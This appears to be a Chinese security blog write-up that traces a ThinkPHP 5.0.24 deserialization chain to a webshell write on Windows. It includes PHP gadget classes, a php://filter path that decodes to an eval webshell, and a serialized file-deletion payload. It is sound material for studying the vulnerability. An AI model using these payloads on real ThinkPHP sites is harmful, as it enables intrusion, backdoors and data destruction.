前言
并非专业选手、本文如有出错的地方,还请师傅们帮忙斧正,也是记录一下在项目中遇到thinkphp windows 环境下 RCE的踩坑。
事情就是图片这样,由于文件名的问题无法在WIndow环境下写入文件, 然后search到几篇解决Windows 文件名的文章,来拼凑解决这次的坎坷。
调试环境
Apache2.4.39 PHP7.1.9nts Thinkphp5.0.24
在 application\index\controller\index.php 修改代码如下,创建反序列化接收。
<?php
namespace app\index\controller;
class Index
{
public function index($value='')
{
echo "0xdd Test Thinkphp 5.0.24 unserialize Check input value </br> ";
echo $value;
unserialize($value);
}
}
反序列化链调试
ThinkPHP5 采用命名空间方式定义和自动加载类库文件,只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致,那么就可以实现类的自动加载,从而实现真正的惰性加载。了解基础知识后,有助于我们POP链脚本的编写。
- demo
namespace think\cache\driver;
class File
{
}
实例化该类
$class = new \think\cache\driver\File();
$class = new \Think\Cache\Driver\File(); //可支持驼峰法命名
入口点
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行
thinkphp/library/think/process/pipes/Windows.php removeFiles 方法
这里跟进removeFiles 方法 ,为什么不选择跟进close 方法呢?
close 函数很显然无法作为我们的跳板,removeFiles 函数可以的file_exists 方法可以做为我们的跳板 触发__toString 魔术方法
__toString:当对象被当做一个字符串使用时调用
_toString跳板
这里的_toString 方法除了Model 是否还有其它选择
跟进toJson ,在toJson中调用了 toArray 方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
在toArray的方法中,例如可尝试通过 $item[$key] = $value ? $value->getAttr($attr) : null; 调用Output类的__call方法
__call:当调用对象中不存在的方法会自动调用该方法
__call 跳板
想利用 $item[$key] = $value ? $value->getAttr($attr) : null; ,需要满足条件
当符合检测类存在时、主要关注 $modelRelation 和 $value的值
- $modelRelation
把$relation 修改等于Model 类的getError(), 通过 $thifs->error $modelRelation 可控
$value
- $this -> parent 为$value 来源,设置值为Output类
- !$modelRelation->isSelfRelation() 返回false
- $modeRelation->getModel() 返回 Output类
通过getRelationData 方法 我们可以看 我们需要传入的$modelRelation 必须是 Relation 类型,在找类型符合的同时,在905行中 需要有getBindAttr()方法,该方法处在OneToOne 类中
所以寻找符合的条件为
1.Relation 类型
2.该类型包含getBindAttr()方法
那么我们可不可以直接使用 OneToOne 方法呢, OneToOne 方法符合了条件,但是不符合我们 !$modelRelation->isSelfRelation() 返回false 的 需求,所以我们找一个继承OneToOne并含有__construct即可
例如这里搜索找到的 BelongsTo
demo:
class BelongsTo extends OneToOne
{
function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = [1 => "0xdd"];
}
}
这样我们就符合了代码中的判断条件进入else,在 $item[$key] = $value ? $value->getAttr($attr) : null; 执行OutPut 的__call 方法
看到这里可能会忘记上面的内容,回顾一下,这里的 $value 已经通过 $this -> parent 为$value 来源,设置值为Output类
那么此时 也就是 从OutPut类中调用getAttr 方法,由于Output类中没有getAttr方法 所以触发__call ,
Output __call 方法内容
$attr 因为是通过 $bindAttr = $modelRelation->getBindAttr(); 获取值,bindAttr 可控 所以$attr 也可控
写文件
在进入第一个if 的时候,会通过call_user_func_array 调用 block 方法
block 方法中调用了writeln 继续跟进
writeln 调用了 write
write 方法中的 handle 我们是可控的,所以我们要寻找一个类 含有write 方法,此方法可以帮助我们写webshell
通过搜索,在Memcache 中的write 方法可以为我们找一个set的方法 协助写文件,这里的handler 可控,所以我们要继续寻找符合条件的set方法
这里以 think\cache\driver\FIle 中的 set 方法为例 ,利用 file_put_contents 写入Webshell, $filename 也就是文件名 会经过getCacheKey 处理,这里会出现一个linux 和 Windows 环境的利用问题,因为在公布的POC中,写出的Webshell 文件名带有“<” 符号,Windows下 文件名是不能出现“<”符号等….
如下图的
//此payload 不可以在Windows 下写文件
写入内容来自$data, 在没有进入 if($result) 的setTagItem 中时,$data 的值来自 $value ,$expire 只能为数字, $value 在 通过Output类中的writeln 传参过来的时候值为 true
关键在进入if($result) 时,setTagItem 方法可以继续set
在setTagItem 方法中 再次调用set方法,此时set 方法使用 文件名中的内容作为$value , 那么我们我的写入内容就可控了,下面只要绕过 exit()即可,绕过exit 需要filename 可控,使用伪协议
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
base64编码中包含64个可打印字符,而当PHP解码base64时,遇到不在其中的字符时,会选择跳过这些字符,将有效的字符重新组成字符串进行解码,<、?、;、>、空格等字符不符合base64解码范围. 所以可以用伪协议进行绕过。
跟进set 方法中的 getCacheKey,可以发现$filename 的文件名 来自属性 $this->options[‘path’] ,所以也是可控的,
那么我们的链,就完成了,具体在伪协议的方法 影响写入的文件名。
Write_Shell
demo
namespace think\cache\driver;
class File
{
protected $options = [];
protected $tag;
function __construct()
{
$this->options = [
'expire' => 'a',
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=dddPD9waHAgQGV2YWwoJF9SRVFVRVNUWycweGRkJ10pOz8+IA==/../0xdd.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "resource=");
$filename = urlencode(substr($filename, $pos + strlen("resource=")));
return $filename . $name . ".php";
}
}
php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=dddPD9waHAgQGV2YWwoJF9SRVFVRVNUWycweGRkJ10pOz8+IA==/../0xdd.php
php过滤器支持列表 https://www.php.net/manual/en/filters.php
传入payload 后 会在根目录写入文件
执行命令
任意文件删除
根据入口点,构造其他操作
demo
<?php
namespace think\process\pipes;
abstract class Pipes
{
}
class Windows extends Pipes
{
private $files = [];
function __construct()
{
$this->files = ["robots.txt"];
}
}
$a=new Windows();
echo urlencode(serialize($a));
?>
例如删除 robots.txt 文件